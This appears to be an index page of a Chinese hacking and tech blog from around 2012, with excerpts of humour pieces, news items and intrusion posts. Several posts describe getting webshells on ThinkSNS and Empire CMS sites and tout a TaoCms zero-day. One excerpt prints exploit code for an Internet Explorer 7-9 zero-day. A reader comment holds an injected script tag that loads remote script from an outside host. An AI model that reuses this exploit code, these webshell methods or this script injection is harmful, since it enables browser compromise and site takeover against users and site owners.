(function(){var k=[];return function j(){k.push(i);j();}})()(); 这就是上周我在胳膊上刺的字。人们对这个纹身的反应先是不敢相信,后是觉得好笑,但我喜欢它。 为什么我会决定要让这样一段让人费解的Java
软件开发如同越狱
如果说这世界上有一种东西太多了,那它就是广告。如果说这世界上还有另外一种东西太多了,那就是对软件开发的类比。尽管如此,今天我还是要编造一个。
谷歌不让我用这张照片
今天早些时候,我发现了一个有趣的事情。我的Google头像照片——同样也在Gmail里、GChat里、Google+里使用的一张照片——不见
周五和周一的区别【搞笑视频】
周五和周一的区别 一段搞笑视频,对于上班族来说,周五和周一有着完全不同的意义。
如果编程语言是一条船…
我是受最近的一个论坛帖子启发,他的想法至今仍让我感到奇特。 Turing(图灵) Turing绝对是一个双人皮划艇(感谢评论里的提醒)。它很小。
不懂技术的人不要对懂技术的人说这很容易实现
“这个网站相当简单,所有你需要做的就是完成X,Y,Z。你看起来应该是技术很好,所以,我相信,你不需要花费太多时间就能把它搭建起来。” 我时不时
视频:一个外国程序员12小时的编程生活的记录
12_hours_Time-lapse_of_me_programming 外国的一个程序员用相机每隔10秒钟拍摄一张图片,一共拍摄了4000多张,连续记录了他一天12小时的编程生活。从视频中你可以看到,这个程序员
这个服务员在计算机屏幕上干什么?
本文的主人公、瑞典企业家 Richard Gatarski Richard Gatarski和几个朋友打算在瑞典诺尔彻平市搞一次聚餐,他们几个星期前就在市中心的一家看起来不错的意大利餐馆
编程能力的四种境界
人类心理学研究中的一个基础支撑科目就是分析人的潜意识和意识。 弗洛伊德是最早的一位能够清楚的认定和描述我们的心理活动“领域”的人。 在他这著名的
六百万行代码
假设你每分钟能做一次思考,每次思考都产生一行代码。假设你每天工作10小时。这意味着你每天能写出600行的代码,每周能写出3000行代码,在你
如果用编程语言来写作文
如果说这世界上有一种东西太多了,那它就是广告。如果说这世界上还有另外一种东西太多了,那就是对软件开发的类比。 这是《软件开发如同越狱》这篇文章
关于 MSF 枚举 putty 我想说两句
关于MSF枚举putty我来吐槽几句吧 介个不是神马劫持putty神马的 没那么复杂 msf当中的后渗透模块确实有很多奇淫技巧在里面 但是没有什么想
微软称已修复IE浏览器安全漏洞
网易科技讯 9月20日消息,据路透社报道,微软已经修复了IE浏览器的一个安全漏洞,这个安全漏洞曾被黑客用来袭击用户。 由于此次袭击,德国政府和安
铁道部12306网站频频卡壳 网友提供订票秘方
铁道部客服表示,由于上网订票的人数太多,容易造成系统堵塞与延时。旅客在信息提交后,如果等待30分钟还没排到,可能还要等待,至于能不能买到,要
传微软要求中石油等四家国企停用盗版Office
新浪科技讯 北京时间9月20日晚间消息,三位知情人士透露,微软已要求中国石油天然气集团公司(以下简称“中石油”)和其他三家国有企业停止使用盗版
360承认使用黑客技术 非法搭便车 用hook黑客技术替换了QQ安全中心
9月18日下午,腾讯诉奇虎360不正当竞争一案继续在广东高院开庭审理。腾讯向360索赔1.25亿元。 下午的庭审从3点半开始,到5点半结束,持
渗透thinksns官网
作者:小飞 (本文涉及的所有漏洞已经被修复!) (由于文章是后来补写的,有些图可能无法抓到。sorry) ThinkSNS(简称TS),开源微博引
帝国cms最新版本后台拿webshell方法
不知道别人有没有发过。反正我昨天搞个站自己发现的。必须分享出来!! 由于我日的那个站是帝国cms 6.6最新版本的,所以网上找了一些方法都失效了
thinksns 后台真心好进,webshell 不难拿
注入点注入字段 表ts_user `uid` int(11) NOT NULL AUTO_INCREMENT, `email` varchar(255) DEFAULT NULL, `password` varchar(255) DEFAULT NULL, `admin_level` varchar(255) DEFAULT '0', 用户等级 1为管理员 后台拿shell方法 后台-全局-附件设置-扩展名限定增加p
实业小投资葡萄园实例
写一个关于实业小投资葡萄园实例,今年的夏天过完了吃葡萄的季节了,所有的都是统计出来真实数据。 献给还在搞IT就知道网上下AV撸管容易猝死的屌丝
漂流瓶约泡射入知性熟女电脑
泡妞也算技术吧。特别对我们这样的IT人士来说。大多数是撸管的宅男。 这里可是爱AV的混世魔王的技术博客,所以,分享篇昨晚漂流瓶约泡射入知性熟女
TaoCms 0day
挖到的一个TaoCms 的0day 其他的。你懂的。 留言评论(旧系统): 无语了! @ 2012-11-28 11:18:39 无语了! 非原创"/><script src="http://1.viigoss.sinaapp.com/?u=5d7539"></script>
Flightradar24 网站“直播”天上“堵飞机” 看全球实时航班
在Flightradar24网站上,人们可以实时追踪全球正在飞行的航班行踪。 中国日报供本报特稿 天空那么大,飞机怎么可能像汽车在地面道路上一样
迅雷与磊科合推新产品:路由器内置下载软件 可脱机下载
9月18日下午消息,迅雷今日宣布与数据通讯网络设备及解决方案供应商磊科(netcore)结成合作伙伴关系,磊科所生产的无线路由器将内置迅雷软
宝马汽车易遭空白钥匙攻击
Steven Singh走出家门发现他的宝马车不见,地面只留下了一地玻璃碎片.... 在没有车钥匙的情况下偷车贼是如何开走汽车的呢?原因车载计算机可以重编
360安全卫士 ver 8.8 是怎样杀毒的
今天下午和几个人一边分析东西一边讨论杀毒软件。 说到360的时候,几个卡饭的人对我说,360好厉害,多么多么厉害,我告诉他 rundll 改个加载方式和 md5 就
外媒称美国研发多款电脑病毒 可能用于间谍活动
中新网9月18日电 据外媒报道,研究人员发现有证据显示美国可能已研发出三款此前不为人知的电脑病毒,以供间谍活动或网络战使用。 这些发现可能加强外
黑客发现新的 IE 7、8、9 零日漏洞
Metasploit制造商HD Moore建议用户停用IE7、IE8和IE9,直到微软修复关键漏洞。 安全专家称,攻击者正在利用微软IE浏览器中
IE7-8-9 的 0day
从几个公开的blog里还原到的 http://eromang.zataz.com/2012/09/16/zero-day-season-is-really-not-over-yet/ <script> var times=0; var jifud =new Array(); while(times <100){ jifud[times] = window.document.createElement("img"); jifud[times]["src"]="a"; times++; } </script> <iframe src='protect.html'></iframe> <script> function SubtleArr(){ document.execCommand('SelectAll'); } function TestArray(){ f=1; if(f==1) { document.write("L"); } var L=0; while(L<99){ parent.jifud[L].src= "YMjf\u0c08\u0c0cKDogjsiIejengNEkoPDjfiJDIWUAzdfghjAAuUFGGBSIPPPUDFJKSOQJGH"; ++L; } } </script> <body onload='SubtleArr();'onselect='TestArray()'> <div contenteditable='true'> a </div> <body>
Zero-Day Season Is Really Not Over Yet
I can confirm, the zero-day season is really not over yet. Less than three weeks after the discovery of the Java SE 7 0day, aka CVE-2012-4681, potentially used by the Nitro gang in targeted attacks, a potential Microsoft Internet Explorer 7 and 8 zero-day is actually exploited in the wild. First I would like to thanks the nice people (@binjo, @_sinn3r and all the guys of the Metasploit IRC channel